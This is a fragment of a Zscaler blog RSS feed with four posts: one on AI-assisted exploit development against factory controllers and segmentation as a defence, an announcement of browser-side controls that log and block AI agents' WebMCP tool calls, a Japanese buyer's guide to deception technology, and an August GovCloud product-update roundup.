            <description><![CDATA[Factories have never lacked attackers. Manufacturing has sat at or near the top of the&nbsp;attacked-industry rankings for years, and every plant leader has seen the ransomware headlines. But nearly all of it lands on the business side of the company - email, file servers, the systems that run the enterprise rather than the line.The factory floors themselves were a different story. Writing a working exploit for an industrial controller - the small computers that open valves, run motors, and keep production lines moving - was specialist work. You needed to understand the protocol, the firmware, the quirks of a product family most software people have never touched. That knowledge was scarce, and the scarcity was a form of protection. An attacker who got into the business network usually stopped there - not out of restraint, but because going further took skills few people had.That protection is dissolving. In April,&nbsp;Anthropic disclosed that its Claude Mythos model could take on much of the work of finding security flaws and turning them into working attacks - a capability the company restricted to vetted organizations rather than releasing broadly. Since then,&nbsp;published research has shown AI turning a released patch into a working exploit in hours. And open-weight models that anyone can download are&nbsp;estimated to trail that capability by only a few months.On August 19, this stopped being a research story. A joint advisory from NSA, CISA, FBI, DOE, and EPA -&nbsp;AA26-231A - documented an active campaign using AI-generated scripts against Siemens S7 series controllers, disguised as monitoring tools. It is the first federal confirmation of AI-assisted exploit development targeting operational technology. CISA is explicit that the targeting is broader than one vendor: everyone running these controllers should assume they are in scope.Put those together and the trend is hard to miss. The scarce skill that stood between the attacker in the business network and the machines on the floor is no longer scarce. What used to require a specialist now requires merely a subscription. Why the plant can't just patch fasterFor years, the standard answer to faster attackers was faster patching. Shrink the time between a fix coming out and the fix being installed. Whole industries organized themselves around that race - automatic updates, staged rollouts, patch Tuesdays.AI is ending that race even where it was winnable. When a fix published on Monday can be a working attack by Tuesday, no patch cycle is short enough - and IT teams with modern tooling and weekly change windows are feeling that squeeze right now.The plant floor was never in the race to begin with, and the reason is physical, not cultural. Walk through a factory and much of what you see has been running for ten or twenty years. It runs reliably in large part because nobody touches it. Change one piece and you put the whole line at risk, because everything downstream depends on it. "If it ain't broke, don't fix it" is the operating rule out there, and it earned its place.And keep in mind what these places actually do. They make our food and medicine. They deliver our power and water. They build our cars. Stopping a line for an afternoon costs real money. A change that goes wrong and stops it for a week is the kind of event careers end over. So changes wait for planned maintenance windows, a handful of times a year, when the line is already down. Plants do patch - they simply patch on that schedule. If attackers have found a faster way to write exploits, changing that schedule is not a simple ask; every added window is a negotiation with production, with vendor support terms, and weighing the risk of stopping the line.So the gap is widening from both ends. Attacks are getting faster everywhere, and the plant was never built to move fast at all. Any defense built on the plant getting quicker is built on something that won't happen. "But our plants aren't on the internet"Mostly true - but it still misses where the risk lives.The plant as a whole is usually isolated, and deliberately so. But individual pieces of it often aren't, and almost always for a reason that made sense at the time. The chiller vendor needed remote access for service calls, so a connection was set up. A machine builder shipped equipment with a cellular modem for support monitoring. An integrator left a remote link in place after commissioning and nobody took it out. Each one was a practical decision. Nobody was keeping the list.Some of those pieces end up directly visible from the internet.&nbsp;Research Forescout published on August 5 counted 4,407 Rockwell/Allen-Bradley controllers answering directly from the internet worldwide, 65% of them in the US - one vendor's platform, counting only the directly visible end of the problem.The rest of the risk arrives indirectly. A controller doesn't need its own internet connection to be reachable - it needs a path from something that does. Most plant networks are flat - one big open floor where everything can talk to everything - a sensible choice when it was made: simple networks are predictable, predictable means dependable, and dependable means always up. The cost shows up when something hostile gets in and inherits that same simplicity. The scripts described in AA26-231A were disguised as monitoring tools - software that would look routine on exactly these networks.So the question that matters isn't whether the plant is on the internet. It's how many of those connections exist, where they lead, and what happens when a bad actor gets access to them. Won't AI help defenders too?If controllers can't be fully isolated, the next hope is that the technology creating this problem can help solve it. Partly, it can.NIST's SP 1353, a quick-start guide released in draft on August 19, shows how to use AI for Cybersecurity Framework 2.0 analysis, planning, and reporting. It is genuinely useful. It will help teams find gaps faster, document faster, report faster. What it does not do is solve for the maintenance window.Defender-side AI, so far, speeds up the parts of the job that were never the bottleneck in a plant. The bottleneck is that fixing things means touching production, and touching production carries downtime risk that no analysis tool removes. AI hands attackers the thing they were short of - the skill to write exploits. It does not hand factory defenders the thing they are short of, which is safe chances to touch the machines.Both sides get AI. Only one side's constraint dissolves.&nbsp; The defense that doesn't care how fast the exploit was writtenYou cannot slow down how fast exploits get written. You cannot safely speed up how fast the plant changes. What you can control is the number in between: how many things can reach a controller in the first place.An exploit written in hours and an exploit written over months have identical value against a controller they cannot reach. Shrink that set and you have cut your exposure to every exploit against it - the ones published, the ones being generated right now, and the ones that don't exist yet. It is the rare defense whose value goes up as attacker capability goes up, because it doesn't compete on speed. It removes the race entirely.The two problems named earlier are the two places to shrink it. The flat network is answered by shrinking each machine's world. The traditional way to do that meant carving the plant into zones - a project that touches everything. What's possible now is finer and far lighter. Picture a switchboard on the plant floor: every device connects to it and to nothing else. When one machine needs to talk to another, the request goes to the switchboard, which checks who is asking and whether an approved reason exists for that conversation - and connects them only if one does. Every device starts with what amounts to a network of its own, able to reach the handful of systems it has an explicit reason to reach and nothing else. All of it happens locally, on the floor - no rewiring, no new addresses, nothing installed on the machines. A foothold - an infected workstation, a compromised vendor laptop - lands in a room of one instead of an open floor.The one-off connections are answered by the same switchboard, taking calls from outside. The chiller vendor no longer holds a standing line into the plant: they call in, the switchboard verifies who they are, and it connects them to the one system they service - for that session, and nothing else. No direct inbound path to a controller exists at all. This is easier on everyone, not harder. The vendor has nothing to install or maintain; access simply works when they need it. And because every connection now passes through one place, the list nobody was keeping starts keeping itself - every vendor, every link, visible and auditable by the security team. The floor keeps everything it legitimately needs; what changes is what those connections can reach, and who can see them. Neither move requires taking a line down, which is exactly why they work at plant change speed.&nbsp;&nbsp;This is the thinking behind Zscaler's approach to OT - my colleague Amit Aneja's recent post,&nbsp;Securing the Unsecurable: OT, IoT, and the Factory Floor, walks through what it looks like in practice on the plant network.None of it fixes a vulnerable controller. The flaw is still there, and patching within the windows the plant can support still matters. What architecture changes is the size of what's left - fewer paths for an exploit to use, fewer places a stolen credential can go, and a record of every connection when something needs investigating.The hard part of the attack got easy. The hard part of the defense - changing a running plant - did not, and will not. And you cannot decide what the switchboard should allow until you know what talks to what today - so the place to start is knowing what can reach your controllers, and that is a map, not a plant change.&nbsp; It is the work we do in an&nbsp;OT architecture workshop. You can also hear from our customers directly on how they use Zscaler for OT security.&nbsp;]]></description>
            <dc:creator>Bryan Ashley (Zero Trust Networking, Principal Architect)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Zscaler WebMCP Security Controls: Bringing Zero Trust to the Agentic Web]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/zscaler-webmcp-security-controls-bringing-zero-trust-agentic-web</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/zscaler-webmcp-security-controls-bringing-zero-trust-agentic-web</guid>
            <pubDate>Thu, 27 Aug 2026 00:08:36 GMT</pubDate>
            <description><![CDATA[We are excited to announce&nbsp;WebMCP Security Controls&nbsp;(Web Model Context Protocol)&nbsp;in the Zscaler Zero Trust Browser. This solution extends the zero-trust framework, traditionally applied to human web activity, to secure the automated tool calls made by AI agents directly within the browser via the emerging WebMCP standard.WebMCP is a proposed web standard available in&nbsp;Chrome Origin Trials. WebMCP lets websites expose structured, typed JavaScript functions and annotated HTML forms as callable tools for AI agents.&nbsp;&nbsp;An in-page AI agent can then list those tools and invoke them programmatically, i.e.&nbsp;get_cart,&nbsp;update_cart,&nbsp;search_flights,&nbsp;submit_payment. No clicking, no navigating, no leaving the page. It’s a useful primitive, which is why we started paying attention to it.This post covers why we built the product, where the control point needs to sit for this new interface, how it works, and three short demos from a real customer scenario. Where the Control Point SitsThe Zscaler Zero Trust Browser Extension runs inside the Chrome browser, on the same layer as the WebMCP APIs themselves. That placement is deliberate. It lets us evaluate every tool call&nbsp;before the site’s handler ever runs.There are two points in the WebMCP lifecycle where this matters. The first is registration: when a site declares its tools, the extension enumerates them before the agent has any way to invoke them. The second is invocation: when the agent actually calls a tool, we inspect the full argument payload and evaluate its policy . If the policy says block, the site’s function is never called at all. Nothing runs, no state changes, nothing goes out. The agent is then told the call failed in a way the user can see, so there’s no silent failure.Because The Zscaler Zero Trust Browser Extension sits at that point in the flow, the outcome doesn’t hinge on what’s in the path. There’s no downstream tool to depend on and no cooperation required from the site. The decision happens at the moment the tool call is being made, on the layer before anything else has a chance to react to it. How WebMCP Security Controls workWebMcp security was specifically developed for this in-page layer, using the same zero-trust principles as the rest of the Zscaler platform. The Zero Trust Browser Extension that customers are using to secure their Chrome browsers now also secures the WebMCP layer, and gives customers three additional capabilities on top of it.1. WebMCP Capability DiscoveryThe moment a user (or their agent) loads a WebMCP-enabled site, the The Zero Trust Browser Extension enumerates every tool the site registers, before a single one can run. Seven attributes are captured on each tool:webmcp.tool.name: the identifier the site exposedwebmcp.tool.description: the natural-language description the site declaredwebmcp.tool.arguments: the JSON payload passed at invocation timewebmcp.tool_count: how many tools the site registered in totalwebmcp.tool.provider_origin: the origin that actually registered the toolwebmcp.tool.is_cross_origin: whether that origin differs from the top-level sitewebmcp.tool.has_untrusted_content_hint: a signal that the tool’s output may contain untrusted contentThis creates a structured inventory of the agentic surface, specific to every site and user. This is a view security teams simply haven’t had before, mostly because the layer it describes is new.2. WebMCP Runtime MonitoringWhile discovery tells you what a site can do, Runtime Monitoring tells you what it actually did. While the user is on the page, the extension captures every tool invocation with full context: the seven attributes above, plus user identity, device posture, extension version, browser, IP, geolocation, and URL. Each event lands in the Zscaler admin console as a detection, in the same event stream as the rest of the platform’s telemetry. Searchable, filterable, exportable.That’s what makes agent activity&nbsp;auditable. If something anomalous happens, you know which agent made the call, on whose behalf, on which device, and what it passed as arguments. Not just that&nbsp;someone’s browser touched the site.3. WebMCP Policy EnforcementVisibility on its own doesn’t change outcomes, which is why inline policy enforcement is so critical. Policies apply in real time, match to any of the seven WebMCP attributes, and land on one of three effects:Allow: Call proceeds normally.Monitor: Call proceeds, but is logged as a detection with full context. This is a good starting posture.Block: Call is stopped at the point of invocation. The agent is told the call failed, and that message shows up in the agent’s own reply to the user.Rules can match on tool identity (kill a whole capability), on argument content (kill specific payloads that carry restricted data), on provider origin (be stricter about cross-origin tool providers), or on the untrusted-content hint (treat outputs from lower-trust sources differently).Figure 1. Registration and invocation are both intercepted inside the page. Every attribute is captured, every call is policy-evaluated inline, every decision is logged with full user and device context.Together the three capabilities cover the questions we usually get from security teams the first time they see WebMCP: what tools are on our sites, what are agents actually doing with them, and what do we want to allow? Zero trust has always been about answering these kinds of questions. Now we get to answer it for agents on the web too.Figure 2. The seven attributes on the left are what every policy rule can match against. The two rules on the right are the ones used in the demos below. See it in ActionThe three short demos below all run against the same site, a retailer with an in-page AI shopping assistant, and the same user. The only thing that changes between them is the policy. This is roughly the sequence we recommend to our customers– start in monitor mode, learn what’s actually happening, then add targeted blocks where you need them.1. Monitor mode: see the surface before you change itMost teams start here. In monitor mode, every tool registration and invocation is captured and logged without blocking a single action. While your users won't notice a thing, your security team gets two key benefits: a complete inventory of the agentic surface across every site visited, and a fully searchable audit trail of every tool call that occurs.In the demo below, the assigned policy is called&nbsp;Monitor WebMCP and runs in passthrough mode with all seven&nbsp;webmcp.* attributes enabled. The user opens the retailer’s site, launches the in-page agent, and asks “what’s in their cart”. The agent calls&nbsp;get_cart and answers in real time. On the admin side, each interaction shows up as a new detection with severity&nbsp;Informational and effect&nbsp;Allow. Clicking into one gives you the full record, including user identity, device posture, IP, geolocation, URL, tool name, tool description, and tool count. The Monitor WebMCP policy in the Zscaler admin console: all seven webmcp.* attributes wired up as monitor rules, default effect Allow.The Detections view streams every WebMCP interaction as an Informational / Allow entry, in the same stream security teams already use for user activity.A single detection carries the full forensic record: user identity, device posture, IP, geolocation, URL, and the Webmcp Tool Name, Description, and Count the site declared.Monitor mode is not designed to immediately block threats. Instead, it establishes an essential baseline of "ground truth" before security teams begin enforcing block rules. By first understanding exactly which tools users are invoking, on which domains, and with what arguments, organizations can make highly informed policy decisions rather than blocking traffic blindly.2. Blocking a tool: kill the capabilityOnce you know what agents are calling, the next step is deciding what you don’t want them calling. The simplest kind of block rule targets a tool by name. In this demo, the policy switches to&nbsp;Block WebMCP with a single condition:&nbsp;webmcp.tool.name is equal to update_cart. Any invocation of that tool, with any arguments, on any site the policy covers, gets stopped at the point of call.On the user side, this is&nbsp; visible in real time. The user asks the agent to add an item to their cart. The agent tries to call&nbsp;update_cart. The extension intercepts it, matches the rule, and returns a block. The agent then tells the user directly: "The Zscaler Zero Trust Browser blocked this action for security reasons." Nothing is silent. The user knows what happened, and the SOC sees a new detection show up with severity&nbsp;Low, effect&nbsp;Block, and the exact rule reason:&nbsp;webmcp.tool.name is equal to UPDATE_CART. The block surfaces inside the agent’s own reply, so the user gets a clear reason instead of a mysterious failure.A new Low-severity Block WebMCP row appears at the top of the Detections list, alongside the ongoing Informational / Allow stream from Monitor mode.The detection detail carries the exact rule that fired: Reason: webmcp.tool.name is equal to UPDATE_CART. Analysts get the "why" without leaving the console.Blocking by tool name is the right control when a capability is just out of scope for a given user group. A marketing team’s agent does not need to invoke&nbsp;submit_payment. A support team’s agens does not need to invoke&nbsp;export_customer_pii. One rule per capability, applied to the right group.3. Blocking on arguments: DLP for the agentic layerSometimes the tool itself is fine and the problem is the payload. That’s what argument-level inspection is for. Instead of matching on tool name, this rule matches on the JSON arguments the agent passes to the tool:&nbsp;webmcp.tool.arguments contains "book". Every&nbsp;update_cart call is still evaluated. Only the calls whose payload contains the restricted keyword get blocked.In the demo, the user asks the agent to list available products. The agent calls&nbsp;browse_store, which is allowed, and returns a catalog. Two items in it are relevant here: a&nbsp;Hammer Time Graphic Tee and a&nbsp;Book Cat Graphic Tee. The user asks to add the Hammer Time tee first. The argument payload contains&nbsp;hammer-time-graphic-tee, no match on the rule, the call goes through. Then the user asks to add the Book Cat tee. Now the payload contains&nbsp;book-cat-graphic-tee-apple-blossom-26f12103, which does match on&nbsp;book. The call gets blocked, and the agent tells the user: "The Zscaler Zero Trust Browser blocked this action for security reasons, so I am unable to add the ‘Book Cat Graphic Tee’ to your cart." Meanwhile the detection in the console has captured the entire argument payload, verbatim. Same tool, different payload, different outcome. The user asks for the Book Cat Graphic Tee; the argument matches the deny rule; the agent surfaces the block inline.The console captures the argument payload verbatim: {"cart":{"line_items":[{"handle":"book-cat-graphic-tee-apple-blossom-26f12103","quantity":1}]}}. That’s what makes agent activity correlatable with the actual data flow, not just the tool that was called.Argument-level inspection is what makes WebMCP Security Controls feel like DLP for the agentic layer. Regex patterns for PII, deny-lists for customer names or project codenames, structural checks on JSON payloads: the same primitives enterprises already trust for traditional DLP, now applied to what agents are passing into websites. The full round-trip of a blocked call looks like this:Figure 3. The full round-trip of a blocked call. The extension inspects arguments in flight, blocks the invocation, surfaces the failure back to the user through the agent’s reply, and logs the exact rule reason. Why We Didn’t Want to Wait on ThisA few things convinced us this had to ship now rather than later.WebMCP adoption will move faster than governance. The standard is already adopted in Chrome Origin Trials . Every site running an in-page AI assistant has a fairly short path to shipping WebMCP tools. Every agent that talks to those sites has an incentive to use them. When a new web capability lands in a mainstream browser, adoption usually compresses from years to months. It’s much easier to put controls in place before that curve as opposed to waiting until after the first incident.Agents act under user identity. A tool call inherits the user’s session, cookies, and authorization, but the intent behind it comes from a model. That’s an audit and governance problem long before it’s a security one. Which agent made this call, on whose behalf, with what payload? Those questions become answerable at the WebMCP layer, at runtime, using the attributes and context the extension already captures.Productivity can’t be the tradeoff. Blocking in-page AI assistants outright isn’t really a viable answer. Employees are already using them and are going to use them, and the productivity gains are real. A control that lives at the WebMCP layer means users keep the benefits of agentic browsing while the enterprise still gets a say in what those agents are actually allowed to do.We’ve seen this pattern before. Zero trust replaced castle-and-moat once perimeters started dissolving. Zero trust followed the work again as it moved to cloud and SaaS. Agentic browsing is the same story one layer deeper, and it’s a lot easier to put controls in place while the agentic surface is measured in a handful of tools per site rather than dozens. What’s NextWebMCP Security Controls are available today in the Zscaler Zero Trust Browser. If you want to see your own users’ agentic surface,&nbsp;reach out to your account team for a demo or visit the&nbsp;product page. Most teams are surprised by what their first monitor-mode report turns up.This is just one of many innovations for the Zero Trust Browser for securing AI and AI Agents. Stay tuned for more and frequent innovations introduced in Zero Trust Browser , the most comprehensive and complete Zero Trust Browser Security product in the market.]]></description>
            <dc:creator>Joby Menon (SVP, Product Management | Zscaler)</dc:creator>
        </item>
        <item>
            <title><![CDATA[デセプション テクノロジー ソリューションを選ぶ際のポイント]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/what-to-look-for-deception-technology</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/what-to-look-for-deception-technology</guid>
            <pubDate>Wed, 26 Aug 2026 17:06:19 GMT</pubDate>
            <description><![CDATA[現代のセキュリティ部門は、厳しい現実に直面しています。境界防御だけでは、もはや十分ではありません。2026年のVerizonデータ侵害調査報告書(DBIR)によると、盗まれた認証情報は依然として主要な侵害経路であり、現代の攻撃者は一度内部に侵入すると、極めて高速にラテラル ムーブメントを行います。さらに、従来のセキュリティ ツールはノイズの多いアラートを発生ささ、深刻なアラート疲れを引き起こしています。脅威を早期に検知するため、組織はデセプション テクノロジーを導入しています。デセプション テクノロジー ソリューションは、環境全体にデコイ、ルアー、トラップを配置し、悪意のある活動を早期に検知する予防的なアプローチです。デセプションはEDR、NDR、ゼロトラストの制御に取って代わるものではなく、それらを補完する重要なレイヤーとして機能します。このガイドでは、適切なソリューションを選択するうえで役立つ主な機能と評価基準について解説します。 デセプション テクノロジー ソリューションとはサイバー デセプションとは、偽の認証情報、サーバー、ファイル、共有、アプリケーションなど、現実的な非本番資産を配置し、攻撃者を欺く防御戦略です。正規のユーザーがこれらの資産にアクセスすることは決してありません。もしアクセスがあれば、認証情報の侵害や悪意のある内部関係者による活動の兆候であり、いずれも調査が必要です。この予防的な防御は、NISTのガイドラインなどのフレームワークにも裏付けられており、組織のレジリエンスを高めるために攻撃者との関与を推奨しています。MITREエンゲージフレームワークでは、信頼されたシステムにデコイを配置することを推奨しています。また、NIST SP 800-61では、シグネチャーに依存しない検知手法の必要性が示されています。デセプション資産説明例デコイシミュレーション システム偽のデータベース サーバールアーエンドポイントに配置されたおとり偽の認証情報ADトラップディレクトリー オブジェクトデコイの管理者アカウント&nbsp; デセプション テクノロジーの仕組みデセプション プラットフォームは、ポリシーベースのルールに基づいて、エンドポイント全体にルアーを自動的に配布します。デバイスごとに手動で導入する必要はありません。攻撃者がデバイスを侵害し、ラテラル ムーブメントの経路を探していると、こうしたルアー(偽のネットワーク ドライブやSSHキーなど)を発見します。ルアーにアクセスすると、デコイ システムに誘導されます。デコイを調査すると、高精度でコンテキストが豊富なアラートが生成され、攻撃者の滞留時間を最小限に抑えるとともに、本番資産に影響が及ぶ前にラテラル ムーブメントを阻止します。こうした偽のトラップの必要性をさらに裏付けるものとして、2026年版 Zscaler ThreatLabzフィッシングと初期アクセス レポートでは、フィッシングと初期アクセスの試みの95.2%が現在では暗号化(TLS/SSL)トラフィックに隠れていることが明らかになりました。従来のセキュリティ ツールでは、暗号化されたチャネルを可視化できないことが多いため、エンドポイントやクラウド資産全体に高精度なデコイやルアーを配置します。これにより、攻撃者が侵害されたアクセス権を悪用しようとした際に見逃すことのないアラーム システムを構築します。&nbsp;デセプション テクノロジーと従来のハニーポットの違い現代のデセプションはハニーポットから発展したものですが、両者には根本的な違いがあります。機能ハニーポット現代のデセプションスケール静的、手動分散型、自動範囲ネットワーク セグメントエンドポイント、クラウド、アイデンティティー管理維持管理に多大な労力が必要一元管理、ポリシー主導統合サイロ化SIEM、SOAR、EDRとの統合&nbsp; 組織がデセプション テクノロジーを利用する理由攻撃者の早期検知デセプションは、偵察、権限昇格、ラテラル ムーブメントの段階で攻撃者を検知します。従来のシグネチャーベースのEDRを回避する、組み込み型の管理ツールを攻撃者が悪用する「環境寄生型」手法の検知に特に適しており、封じ込めまでの時間を大幅に短縮できます。アラート疲れの軽減デセプションでは、正規のトラフィックが決して流れないゾーンにデコイを配置することで、高精度のアラートを生成できます。隔離されたセグメントに配置したデコイSMB共有では誤検知がゼロになる一方、一般的なサブネットに配置した場合は誤検知が発生する可能性があります。ラテラル ムーブメントとランサムウェアに対する可視性の向上デセプションは、攻撃者が制御するプロセスがデコイ共有を調査した際にアラートを生成することで、ファイル共有のスキャン(暗号化に先行する活動)を検知し、偵察から数分以内にセキュリティ部門に通知します。この早期段階での可視性は、攻撃者による調査活動が大量に及ぶことを考えると非常に重要です。2026年版 Zscaler ThreatLabzフィッシングと初期アクセス レポートによると、デセプションのテレメトリーでは、わずか6か月間で137万件の固有の攻撃者IPから8,990万件の悪意のあるやり取りが記録されました。これは、攻撃者が標的を絞った侵入を開始するはるか前から、アイデンティティーやコラボレーション プラットフォームを積極的にスキャンし、潜在的な侵入経路を把握していることを示しています。 デセプション テクノロジー ソリューションで確認すべき主な機能デセプション テクノロジーを評価する際は、以下の基本的な機能を優先してください。主な機能説明評価チェック信頼性の高いデコイ高度な攻撃者を欺くために実際のもののようなサービスを実行する必要があるデコイは動的に反応するか？幅広い対応範囲ハイブリッド エンドポイント、クラウド、Active Directoryを保護する必要があるSaaSデコイに対応するか？自動化自動化された展開、アップデート、低負荷であることが不可欠エンドポイント ルアーを自動で展開できるか？豊富なコンテキストアラートは詳細なテレメトリー(ユーザー、プロセス、タイムライン)を提供する必要があるMITRE ATT&amp;CKに対応するか？統合SIEM、SOAR、EDRプラットフォームにネイティブに接続できる必要がある自動化された対応をトリガーできるか？低負荷エンドポイントのパフォーマンス低下やノイズを発生させてはならないエージェントレスか？&nbsp; 評価基準：ソリューションの比較拡張性のあるプラットフォームを選択するには、以下の5つの主な基準を適用してください。評価基準説明主な焦点シンプルな展開プロセスソフトウェア定義型またはエージェントレス配信複雑なハードウェアを必要とすることなく数分で世界中に展開適用範囲の深さハイブリッド エンドポイント、AD、クラウドを保護認証情報の悪用が蔓延している状況に対処検知の品質豊富なテレメトリーでアラートを強化自動スキャンと標的型の動きを区別組織規模の拡張性一元的なポリシー管理リモート ワークとクラウド拡大をシームレスにサポート経営幹部の可視性リスク軽減と指標を測定デセプションがMTTDとMTTRを短縮する方法を提示&nbsp; 一般的なユース ケースと避けるべきこと現代の組織は重要なセキュリティ課題を解決するためにデセプションを活用する一方で、コストのかかる運用上の問題を回避しています。一般的なユース ケース避けるべき重大な問題認証情報の保護：偽のディレクトリー サービスへのアクセスに使用された盗まれた管理者認証情報を特定静的デコイ：静的デコイ：すぐにフィンガープリントを取得できるデコイは、高度な攻撃者が容易に回避ラテラル ムーブメントの検知：デコイのファイル共有を調査したり、ネットワーク セグメントをスキャンしたりする攻撃者を検知ネットワークのみへの対応：クラウドやリモート エンドポイントをカバーしていないソリューションでは、大きな死角が発生ランサムウェア対策：被デコイ共有をトリガーとして、被害が発生する前に暗号化の挙動を検知アラートのサイロ化：SOAR/SIEMとのネイティブな統合機能を備えていないソリューションでは、対応が遅延脅威ハンティング：アナリストが起点として活用し、脅威の発見につなげられる高精度の手がかりを提供高負荷のメンテナンス：継続的な手動更新が必要なプラットフォームでは、貴重なリソースを消費&nbsp; デセプションをゼロトラスト戦略に組み込む方法ゼロトラストはアクセスを制限し、デセプションはそのアクセスが悪用されたことを検知します。侵害された管理者アカウントはゼロトラストの認証チェックを通過できますが、デコイの管理者共有にアクセスしようとした瞬間に検知されます。ここで出番となるのがZscaler Deceptionです。Zscaler Zero Trust Exchange™に直接統合されているため、運用の複雑さを増すことなく、高精度なデコイやルアーを容易に展開できます。ゼロトラストのアクセス制御と能動的なデセプションを組み合わせることで、組織は多層防御のセキュリティ態勢を実現し、予防的にラテラル ムーブメントを阻止できます。&nbsp; まとめ理想的なデセプション テクノロジー ソリューションには、極めて高いリアリティー、自動化、そして既存のセキュリティ スタックとの緊密な統合が求められます。ノイズを発生させるのではなく、高度な脅威を無力化するために必要な高精度のシグナルを提供します。デセプションをゼロトラスト フレームワークに組み込むことで、攻撃者の滞留時間を最小限に抑え、最も重要な資産を保護できます。]]></description>
            <dc:creator>Matt McCabe (Senior Web Content Writer)</dc:creator>
        </item>
        <item>
            <title><![CDATA[What’s New in GovCloud:  August 2026 Zscaler Product Updates]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/what-s-new-govcloud-august-2026-zscaler-product-updates</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/what-s-new-govcloud-august-2026-zscaler-product-updates</guid>
            <pubDate>Wed, 26 Aug 2026 08:14:46 GMT</pubDate>
            <description><![CDATA[Product releases move fast, and carving out time to review what's changed across multiple platforms is rarely at the top of anyone's to-do list. Here is a curated roundup of notable Zscaler GovCloud updates from August, with quick context and scan-friendly takeaways you can share across security, network, and operations teams. Highlights include WebSocket traffic inspection in ZIA, new ThreatParse detection rules for actively exploited CVEs in Deception, BGP route filtering and DNS-over-HTTPS support in Zero Trust Branch, and customizable password policies in the Authentication Service. Zscaler Internet Access (ZIA)Zscaler Internet Access (ZIA) is Zscaler's secure internet and SaaS access service, providing policy-based protection and visibility for users wherever they work. For many federal environments, ZIA is central to enforcing acceptable use, protecting sensitive data, and maintaining consistent security controls across a distributed workforce.This month's ZIA updates expand inspection coverage to WebSocket traffic, introduce resilience controls for partial configuration scenarios, and add new search filters to simplify management of large firewall rule sets.HighlightsPartial Configuration Handling Mechanism: A new "Behavior When Partial Configuration Available" setting lets admins choose how policy is enforced if a Service Edge is operating on incomplete or cached tenant/user/location data. Options include Fail Open, Fail Close, or Best Effort Policies, giving teams control over the tradeoff between availability and security posture during edge cases.WebSocket Inspection Enhancements: ZIA now inspects bidirectional WebSocket traffic for supported content, extending security and data-protection controls to these communications. This closes a visibility gap for applications that rely on persistent WebSocket connections.New Search Filters for Firewall Filtering Policy Rules: New filters have been added to the Firewall Filtering Policy page, including Rule Status, Network/Application Service Groups, Source/Destination Country, and IPv6 Groups. These make large rule sets easier to search and manage at scale.For full release notes:&nbsp;https://help.zscaler.us/zia/release-upgrade-summary-2026 Zscaler Private Access (ZPA)Zscaler Private Access (ZPA) provides secure, zero trust connectivity between users and private applications without exposing those applications to the internet. It helps organizations reduce attack surface while improving access experience, which is especially important for distributed users, mission partners, and hybrid work environments common across federal agencies.This month's ZPA updates deliver a recommended Manager software release and security-fix updates for both Private Service Edge and Private Cloud Controller.HighlightsManager Software Updates: Released updated App Connector, Private Service Edge, and Private Cloud Controller RPM packages for RHEL 8.x/9.x (Manager software version 26.54.6). Packages are downloadable from the Zscaler repository.Private Service Edge Version 26.54.6: A security-fix update for Private Service Edge, applied per your configured software update schedule.Private Cloud Controller Version 26.54.6: A security-fix update for Private Cloud Controller, applied per your configured software update schedule.For full release notes:&nbsp;https://help.zscaler.us/zpa/release-upgrade-summary-2026 Zscaler Client ConnectorZscaler Client Connector is the unified endpoint agent that steers traffic to ZIA, ZPA, and ZDX services. It ensures consistent policy enforcement regardless of where users connect from, which is critical for agencies supporting remote and hybrid workforces.This month's update addresses several Admin Console usability and functionality issues.HighlightsZscaler Admin Console 4.5.5: This release fixes device-search pagination, a device-details export timeout, a blank protocol dropdown in Experience Center, and a policy-sync issue affecting Private Access entitlement assignment. These fixes improve day-to-day administrative workflows and entitlement accuracy.For full release notes:&nbsp;https://help.zscaler.us/client-connector/release-upgrade-summary-2026 Zero Trust BranchZscaler Zero Trust Branch helps modernize branch security and connectivity by bringing zero trust principles to branch offices, remote sites, and OT/IoT environments, reducing reliance on legacy appliances while maintaining consistent policy enforcement.This month's Zero Trust Branch update introduces BGP route filtering, DNS-over-HTTPS support, and FIPS enablement improvements, continuing to strengthen both routing flexibility and compliance alignment.HighlightsZero Trust Branch 8.2.1P1: This release adds BGP route filtering with import/export maps, DNS-over-HTTPS configuration for Hub sites and custom DoH endpoints, FIPS enablement with NTP fixes, additional BGP policy filters, and improved App Connector auto-recovery status reporting. These enhancements give network teams more control over routing policy and encrypted DNS resolution at the branch.For full release notes:&nbsp;https://help.zscaler.us/zero-trust-branch/release-upgrade-summary-2026 Zscaler DeceptionZscaler Deception deploys decoys and lures across environments to detect lateral movement, credential theft, and attacker reconnaissance. For federal organizations, deception adds an active defense layer that can identify adversary activity early in the kill chain without relying solely on signature-based detection.This month's Deception updates deliver new detection rules for actively exploited vulnerabilities, enhanced network fingerprinting in event logs, and an expanded decoy dataset for network appliances.HighlightsNew ThreatParse Rules: Added detection rules for several actively relevant CVEs, including unauthenticated RCE in Langflow, an unauthenticated file-write flaw in Splunk, a PHP code-injection issue in Everest Forms Pro, and vulnerabilities affecting Fortinet FortiClient EMS, Ivanti Endpoint Manager, Ivanti Sentry, and Cisco Secure Firewall Management Center. These rules help identify adversaries leveraging current exploit techniques.Admin Portal Enhancements: Event logs now support JA3/JA4 network fingerprints for web decoys, and web server banners for network and Threat Intelligence decoys were updated for improved accuracy. This strengthens forensic context and decoy realism.New Datasets: Added a new high-interaction Cisco ASA dataset, expanding decoy coverage for network security appliances and improving detection fidelity for attackers targeting perimeter infrastructure.For full release notes:&nbsp;https://help.zscaler.us/deception/release-upgrade-summary-2026 Authentication Service (Zidentity)The Zscaler Authentication Service (Zidentity) provides centralized identity and access management for the Zscaler platform. It supports authentication policies, MFA enforcement, and user lifecycle controls that help agencies meet identity-centric zero trust requirements.This month's update introduces customizable password policies for stronger credential hygiene.HighlightsCustomize Password Policy: Admins can now configure account deactivation after a set number of unsuccessful login attempts and reject a configurable number of previously used passwords. Both settings are customizable from 3 to 10, supporting compliance with organizational and federal password policy standards.For full release notes:&nbsp;https://help.zscaler.us/zidentity/release-upgrade-summary-2026 ConclusionWant the full details? Use the links above to review the complete release summaries, and check back next month for the next GovCloud update roundup.Zscaler continues to invest in a robust GovCloud roadmap and remains committed to supporting the unique security, compliance, and operational requirements of the federal market. We'll keep delivering enhancements that help agencies and federal partners strengthen resilience, simplify operations, and advance mission success.]]></description>
            <dc:creator>Jose Arvelo Negron (Manager, Sales Engineer)</dc:creator>
        </item>
        <item>
